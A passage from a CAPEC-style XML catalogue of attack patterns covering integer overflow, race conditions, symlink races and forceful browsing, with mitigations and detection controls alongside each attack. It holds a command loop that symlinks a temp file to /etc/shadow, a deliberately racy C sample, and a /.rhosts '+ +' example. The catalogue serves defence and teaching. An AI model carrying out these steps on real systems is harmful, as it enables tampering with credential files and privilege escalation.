			<Probing_Technique/>
		</Probing_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Use a language or compiler that performs automatic bounds checking.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Carefully review the service's implementation before making it available to user. For instance you can use manual or automated code review to uncover vulnerabilities such as integer overflow.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use an abstraction library to abstract away risky APIs. Not a complete solution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Always do bound checking before consuming user input data.</Solution_or_Mitigation>
			<Solution_or_Mitigation/>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>An integer overflow condition exists when an integer, which has not been properly sanity checked is used in the determination of an offset or size for memory allocation, copying, concatenation, or similarly. If the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value.</Context_Description>
		<Injection_Vector>The user supplied data.</Injection_Vector>
		<Payload>The integer overrun by the attacker.</Payload>
		<Activation_Zone>When the function use the integer as offset, the offset may be out of the expected range which may lead to unexpected behavior such as issues of availability.</Activation_Zone>
		<Payload_Activation_Impact>The most common are issues of availability. In some situation, an integer oveflow can turn out to be an exploitable buffer overflow, then the attacker may be able to run arbitrary code on the target host.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>190</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>128</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>120</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>122</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>196</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>680</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>697</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Security_Principles>
			<Related_Security_Principle>Reluctance to Trust</Related_Security_Principle>
		</Related_Security_Principles>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>Low</Confidentiality_Impact>
			<Integrity_Impact>Medium</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>J. Viega and G. McGraw. Building Secure Software. Addison-Wesley, 2002.</Reference>
			<Reference>CWE - Integer overflow (wrap or wraparound)</Reference>
			<Reference>Integer overflow, Secure Software - http://www.owasp.org/index.php/Integer_overflow</Reference>
			<Reference>SAMATE : samate.nist.gov</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>Sean Barnum</Submitter>
				<Submitter_Organization>Cigital, Inc.</Submitter_Organization>
				<Submission_Date>2007-03-25</Submission_Date>
				<Submission_Comment>Identified priority for pattern creation</Submission_Comment>
			</Submission>
			<Modification>
				<Modifier>Eric Dalci</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-03-25</Modification_Date>
				<Modification_Comment>Fleshed out content for pattern</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-16</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="26" Name="Leveraging Race Conditions" Pattern_Abstraction="Standard">
		<Description>
			<Summary>This attack targets a race condition occurring when multiple processes access and manipulate the same resource concurrently and the outcome of the execution depends on the particular order in which the access takes place. The attacker can leverage a race condition by "running the race", modifying the resource and modifying the normal execution flow. For instance a race condition can occur while accessing a file, the attacker can trick the system by replacing the original file with his version and cause the system to read the malicious file.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>The attacker explores to gauge what level of access he has.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker gains access to a resource on the target host. The attacker modifies the targeted resource. The resource's value is used to determine the next normal execution action.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The resource is modified/checked concurrently by multiple processes. By using one of the processes, the attacker is able to modify the value just before it is consumed by a different process. A race condition occurs and is exploited by the Attacker to abuse the target host.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>A resource is accessed/modified concurrently by multiple processes such that a race condition exists.</Attack_Prerequisite>
			<Attack_Prerequisite>The attacker has the ability to modify the resource.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Time and State</Method_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>The Net Direct client for Linux before 6.0.5 in Nortel Application Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and executes files with insecure permissions, which allows local users to exploit a race condition to replace a world-writable file in /tmp/NetClient and cause another user to execute arbitrary code when attempting to execute this client, as demonstrated by replacing /tmp/NetClient/client.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>CVE-2007-1057</Example-Instance_Related_Vulnerability>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an attacker can replace the file referenced by the name.

				include &lt;sys/types.h&gt;
				include &lt;fcntl.h&gt;
				include &lt;unistd.h&gt;
				
				define FILE    "/tmp/myfile"
				define UID      100
				
				void test(char *str)
				{
				        int fd;
				        fd = creat(FILE, 0644);
				        if(fd == -1)
				                return;
				        chown(FILE, UID, -1);      /* BAD */
				        close(fd);
				}
				
				int main(int argc, char **argv)
				{
				        char *userstr;
				        if(argc &gt; 1) {
				                userstr = argv[1];
				                test(userstr);
				        }
				        return 0;
				}
				
				//Source : SAMATE.NIST.GOV : http://samate.nist.gov/SRD/view_testcase.php?login=Guest&amp;;tID=1598</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Medium/High</Attacker_Skill_or_Knowledge_Required>
		<Probing_Techniques>
			<Probing_Technique>Vulnerability testing tool can be used to probe for race condition.</Probing_Technique>
			<Probing_Technique>The attacker may also look for temporary file creation. The attacker may tries to replace them and take advantage of a race condition.</Probing_Technique>
			<Probing_Technique/>
		</Probing_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Use safe libraries to access resources such as files.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Be aware that improper use of access function calls such as chown(), tempfile(), chmod(), etc. can cause a race condition.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use synchronization to control the flow of execution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Use static analysis tools to find race conditions.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Pay attention to concurrency problems related to the access of resources.</Solution_or_Mitigation>
			<Solution_or_Mitigation/>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>368</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>363</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>366</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>370</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>362</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>662</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>689</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>667</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>665</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>Low</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>Medium</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
			<Reference>CWE - Race Conditions</Reference>
			<Reference>Wikipedia, http://en.wikipedia.org/wiki/Race_condition</Reference>
			<Reference>David Wheeler - Prevent race conditions - http://www-128.ibm.com/developerworks/linux/library/l-sprace.html</Reference>
			<Reference>David Wheeler - Secure programming - http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>Eric Dalci</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-01-25</Submission_Date>
				<Submission_Comment/>
			</Submission>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-07</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Name, Description, Attack Flow and Attack Prerequisites</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="27" Name="Leveraging Race Conditions via Symbolic Links" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>This attack leverages the use of symbolic links (Symlinks) in order to write to sensitive files. An attacker can create a Symlink link to a target file not otherwise accessible to her. When the privileged program tries to create a temporary file with the same name as the Symlink link, it will actually write to the target file pointed to by the attacker's Symlink link. If the attacker can insert malicious content in the temporary file she will be writing to the sensitive file by using the Symlink. The race occurs because the system checks if the temporary file exists, then creates the file. The attacker would typically create the Symlink during the interval between the check and the creation of the temporary file.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Explore">
					<Attack_Step>
						<Attack_Step_Title>Verify that target host's platform supports symbolic links.</Attack_Step_Title>
						<Attack_Step_Description>This attack pattern is only applicable on platforms that support symbolic links.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Research target platform to determine whether it supports symbolic links.</Attack_Step_Technique_Description>
							<Environments>env-Embedded env-Local</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Create a symbolic link and ensure that it works as expected on the given platform.</Attack_Step_Technique_Description>
							<Environments>env-Embedded env-Local</Environments>
						</Attack_Step_Technique>
						<Outcome ID="c27s0o1" type="Success">Target platform supports symbolic links (e.g. Linux, UNIX, etc.)</Outcome>
						<Outcome ID="c27s0o2" type="Failure">Target platform does not support symbolic links (e.g. MS Windows)</Outcome>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Examine application's file I/O behavior</Attack_Step_Title>
						<Attack_Step_Description>Analyze the application's file I/O behavior to determine where it stores files, as well as the operations it performs to read/write files.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use kernel tracing utility such as ktrace to monitor application behavior</Attack_Step_Technique_Description>
							<Environments>env-Local</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use debugging utility such as File Monitor to monitor the application's filesystem I/O calls</Attack_Step_Technique_Description>
							<Environments>env-Local</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Watch temporary directories to see when temporary files are created, modified and deleted.</Attack_Step_Technique_Description>
							<Environments>env-Embedded env-Local</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Analyze source code  for open-source systems like Linux, Apache, etc.</Attack_Step_Technique_Description>
							<Environments>env-Embedded env-Local</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c27s1i1" type="Positive">
							<Indicator_Description>Attacker can watch files being created, modified and/or deleted by application.</Indicator_Description>
							<Environments>env-Embedded env-Local</Environments>
						</Indicator>
						<Indicator ID="c27s1i2" type="Inconclusive">
							<Indicator_Description>Application does not seem to perform any filesystem I/O operations.</Indicator_Description>
							<Environments>env-Embedded env-Local</Environments>
						</Indicator>
						<Outcome ID="c27s1o1" type="Success">Attacker identifies at least one reproducable file I/O operation performed by the application.</Outcome>
						<Outcome ID="c27s1o2" type="Failure">Attacker cannot identify any file I/O operations being performed by the application.</Outcome>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Experiment">
					<Attack_Step>
						<Attack_Step_Title>Verify ability to write to filesystem</Attack_Step_Title>
						<Attack_Step_Description>The attacker verifies ability to write to the target host's file system.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Create a file that does not exist in the target directory (e.g. "touch temp.txt" in UNIX-like systems)</Attack_Step_Technique_Description>
							<Environments>env-Embedded env-Local</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>On platforms that differentiate between file creation and file modification, if the target file that the application writes to already exists, attempt to modify it.</Attack_Step_Technique_Description>
							<Environments>env-Embedded env-Local</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Verify permissions on target directory</Attack_Step_Technique_Description>
							<Environments>env-Embedded env-Local</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c27s3i1" type="Positive">
							<Indicator_Description>Target directory is a globally writable temp directory (e.g. /tmp in many UNIX-like systems)</Indicator_Description>
							<Environments>env-Embedded env-Local</Environments>
						</Indicator>
						<Indicator ID="c27s3i2" type="Positive">
							<Indicator_Description>Target directory is writable by the attacker's effective user ID.</Indicator_Description>
							<Environments>env-Embedded env-Local</Environments>
						</Indicator>
						<Outcome ID="c27s3o1" type="Success">Attacker can create and modify files in the target directory.</Outcome>
						<Outcome ID="c27s3o2" type="Failure">Attacker cannot create or modify files in the target directory.</Outcome>
						<Security_Control ID="c27s3sc1" type="Preventative">Store temporary files in a directory with limited permissions where malicious users cannot tamper with them.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Exploit">
					<Attack_Step>
						<Attack_Step_Title>Replace file with a symlink to a sensitive system file.</Attack_Step_Title>
						<Attack_Step_Description>Between the time that the application checks to see if a file exists (or if the user has access to it) and the time the application actually opens the file, the attacker replaces the file with a symlink to a sensitive system file.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Create an infinite loop containing commands such as "rm -f tempfile.dat; ln -s /etc/shadow tempfile.dat". Wait for an instance where the following steps occur in the given order: (1) Application ensures that tempfile.dat exists and that the user has access to it, (2) "rm -f tempfile.dat; ln -s /etc/shadow tempfile.dat", and (3) Application opens tempfile.dat for writing, and inadvertently opens /etc/shadow for writing instead.</Attack_Step_Technique_Description>
							<Environments>env-Embedded env-Local</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use other techniques with debugging tools to replace the file between the time the application checks the file and the time the application opens it.</Attack_Step_Technique_Description>
							<Environments>env-Embedded env-Local</Environments>
						</Attack_Step_Technique>
						<Outcome ID="c27s4o1" type="Success">Sensitive file tampered with successfully.</Outcome>
						<Outcome ID="c27s4o2" type="Failure">Sensitive file could not be tampered with.</Outcome>
						<Security_Control ID="c27s4sc1" type="Preventative">Use file handles to check existence of files, to check permissions and to open them. Do not use filename except to obtain a handle initially.</Security_Control>
						<Security_Control ID="c27s4sc2" type="Preventative">Drop application's permissions to the current user's permissions before performing any file I/O operations (e.g. using Process.as_uid() in Ruby).</Security_Control>
						<Security_Control ID="c27s4sc3" type="Corrective">Run application with minimal permissions. In particular, avoid running applications as root on UNIX-like systems and as Administrator on Windows systems.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The attacker is able to create Symlink links on the target host.</Attack_Prerequisite>
			<Attack_Prerequisite>Tainted data from the attacker is used and copied to temporary files.</Attack_Prerequisite>
			<Attack_Prerequisite>The target host does insecure temporary file creation.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Medium</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
			<Method_of_Attack>Time and State</Method_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>In this naive example, the Unix program foo is setuid. Its function is to retrieve information for the accounts specified by the user. For "efficiency," it sorts the requested accounts into a temporary file (/tmp/foo naturally) before making the queries.

				The directory /tmp is world-writable. Malicious user Mallory creates a symbolic link to the file /.rhosts named /tmp/foo. Then, she invokes foo with + + as the requested account. The program creates the (temporary) file /tmp/foo (really creating /.rhosts) and puts the requested account (+ +) in it. It removes the temporary file (merely removing the symbolic link).
				
				Now the /.rhosts contains + +, which is the incantation necessary to allow anyone to use rlogin to log into the computer as the superuser.
				
				(Source : Wikipedia (http://en.wikipedia.org/wiki/Symlink_race)).</Example-Instance_Description>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>GNU ed before 0.3 allows local users to overwrite arbitrary files via a symlink attack on temporary files, possibly in the open_sbuf function.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>CVE-2006-6939</Example-Instance_Related_Vulnerability>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>OpenmosixCollector and OpenMosixView in OpenMosixView 1.5 allow local users to overwrite or delete arbitrary files via a symlink attack on (1) temporary files in the openmosixcollector directory or (2) nodes.tmp.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>CVE-2005-0894</Example-Instance_Related_Vulnerability>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>Setuid product allows file reading by replacing a file being edited with a symlink to the targeted file, leaking the result in error messages when parsing fails.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>CVE-2000-0972</Example-Instance_Related_Vulnerability>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Medium/High: This attack is sophisticated because the attacker has to overcome a few challenges such as creating symlinks on the target host during a precise timing, inserting malicious data in the temporary file and have knowledge about the temporary files created (file name and function which creates them).</Attacker_Skill_or_Knowledge_Required>
		<Probing_Techniques>
			<Probing_Technique>The attacker will certainly look for file system locations where he can write and create Symlink links.</Probing_Technique>
			<Probing_Technique>The attacker may also observe the system and locate the temporary files created during a call to a certain function.</Probing_Technique>
		</Probing_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Use safe libraries when creating temporary files. For instance the standard library function mkstemp can be used to safely create temporary files. For shell scripts, the system utility mktemp does the same thing.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Access to the directories should be restricted as to prevent attackers from manipulating the files. Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Follow the principle of least privilege when assigning access rights to files.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Ensure good compartmentalization in the system to provide protected areas that can be trusted.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Injection_Vector>The content of the temporary file which is copied to the file pointed to by the Symlink.</Injection_Vector>
		<Payload>The content of the file overwriten when writing to the Symlink.</Payload>
		<Activation_Zone>The new content of the targeted file.</Activation_Zone>
		<Payload_Activation_Impact>This attack can cause privilege escalation, modification of resources or denial of services.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>367</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>61</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>662</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>689</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>667</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>29</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>26</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>More Detailed</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Related_Security_Principles>
			<Related_Security_Principle>Least Privilege</Related_Security_Principle>
		</Related_Security_Principles>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>Symlink Race, Wikipedia - http://en.wikipedia.org/wiki/Symlink_race</Reference>
			<Reference>Safe temporary file creation with mkstemp - http://www.opengroup.org/onlinepubs/009695399/functions/mkstemp.html</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>Eric Dalci</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-02-01</Submission_Date>
				<Submission_Comment/>
			</Submission>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-08</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Name, Description, Likelihood and Related Attack Patterns</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Amit Sethi</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-10-29</Modification_Date>
				<Modification_Comment>Added extended Attack Execution Flow</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="87" Name="Forceful Browsing" Pattern_Abstraction="Standard">
		<Description>
			<Summary>An attacker employs forceful browsing to access portions of a website that are otherwise unreachable through direct URL entry. 

			Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. 

			Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web appplication that have been improperly protected.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Explore">
					<Attack_Step>
						<Attack_Step_Title>Spider</Attack_Step_Title>
						<Attack_Step_Description>Using an automated tool, an attacker follows all public links on a web site. He records all the links he finds.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use a spidering tool to follow and record all links</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use a proxy tool to record all links visited during a manual traversal of the web application.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Outcome ID="c87s1o1" type="Success">A list of links is created by the attacker.</Outcome>
						<Security_Control ID="c87s1s1" type="Detective">Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them).</Security_Control>
						<Security_Control ID="c87s1s2" type="Detective">Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application.</Security_Control>
						<Security_Control ID="c87s1s3" type="Preventative">Actively monitor the application and either deny or redirect requests from origins that appear to be automated.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Experiment">
					<Attack_Step>
						<Attack_Step_Title>Attempt well known or guessable resource locations</Attack_Step_Title>
						<Attack_Step_Description>Using an automated tool, an attacker requests a variety of well-known URLs that correspond to administrative, debugging, or other useful internal actions. He records all the positive responses from the server.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use a spidering tool to follow and record attempts on well known URLs</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Use a proxy tool to record all links visited during a manual traversal of attempts on well known URLs.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c87s2i1" type="Positive">
							<Indicator_Description>Common resource identifiers are used (e.g., /admin/, admin.jsp, admin.aspx, etc.)</Indicator_Description>
							<Environments>env-Web</Environments>
						</Indicator>
						<Indicator ID="c87s2i2" type="Positive">
							<Indicator_Description>Well known middleware or application platforms are used (e.g., Cold Fusion, WebSphere, WebLogic, JBoss, etc.)</Indicator_Description>
							<Environments>env-Web</Environments>
						</Indicator>
						<Outcome ID="c87s3o1" type="Success">The attacker discovers one or more unprotected resources.</Outcome>
						<Security_Control ID="c87s3s1" type="Detective">Monitor errors (e.g., 404 not found) from web servers, application servers, and other HTTP infrastructure (e.g., load balancers). Alert on an unusual number of consecutive failures or total failures from a single host. Potentially alert on many failures from many different hosts, but in a relatively short time window.</Security_Control>
						<Security_Control ID="c87s3s2" type="Detective">Create "honeypot" web pages or scripts that do not actually have any use in the application, and name them common names (e.g., admin.jsp, admin.do, admin.aspx, etc.). Alert when one of these resources is requested.</Security_Control>
						<Security_Control ID="c87s3s3" type="Preventative">Actively monitor the application and either deny or redirect requests from origins that appear to be generating an unusual amount of failures.</Security_Control>
						<Security_Control ID="c87s3s4" type="Corrective">Obtain a list of sensitive areas that should not be directly accessible (e.g., JSPs or other templates that should only be accessible via front controllers). Apply an external mechanism (rule in the load balancer, rule in the reverse proxy, etc.) to intercept and redirect requests for those resources. Ideally use patterns, not specific page names (e.g., /jsp/* instead of a list of individual JSPs). Regularly update the list that is used in operation.</Security_Control>
						<Security_Control ID="c87s3s5" type="Detective">Identify defaults for platform-specific sensitive resources. If the application does not use those defaults, alert on all requests for them (e.g., http://server:8080/admin/)</Security_Control>
